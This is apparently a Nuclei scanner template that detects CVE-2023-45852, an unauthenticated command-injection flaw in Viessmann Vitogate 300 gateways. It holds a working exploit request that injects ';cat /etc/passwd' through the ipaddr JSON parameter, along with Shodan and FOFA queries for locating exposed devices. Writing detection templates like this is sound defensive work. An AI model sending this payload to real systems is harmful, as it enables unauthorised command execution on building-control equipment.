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id: CVE-2023-45852
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info:
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name: Viessmann Vitogate 300 - Remote Code Execution
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author: iamnoooob,rootxharsh,pdresearch
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severity: critical
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description: |
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In Vitogate 300 2.1.3.0, /cgi-bin/vitogate.cgi allows an unauthenticated attacker to bypass authentication and execute arbitrary commands via shell metacharacters in the ipaddr params JSON data for the put method.
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reference:
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- https://connectivity.viessmann.com/gb/mp-fp/vitogate/vitogate-300-bn-mb.html
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- https://github.com/Push3AX/vul/blob/main/viessmann/Vitogate300_RCE.md
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- https://nvd.nist.gov/vuln/detail/CVE-2023-45852
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2023-45852
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cwe-id: CWE-77
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cpe: cpe:2.3:o:viessmann:vitogate_300_firmware:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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shodan-query: title:"Vitogate 300"
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fofa-query: title="Vitogate 300"
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vendor: Viessmann
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tags: cve,cve2023,rce,vitogate
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http:
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- raw:
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- |
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POST /cgi-bin/vitogate.cgi HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/json
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{"method":"put","form":"form-4-8","session":"","params":{"ipaddr":"{{randstr}};cat /etc/passwd"}}
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matchers:
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- type: dsl
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dsl:
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- 'status_code == 200'
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- 'contains_all(header, "application/json")'
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- 'contains_all(body, "traceroute: {{randstr}}: Unknown host", "daemon:x:1:1:")'
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condition: and
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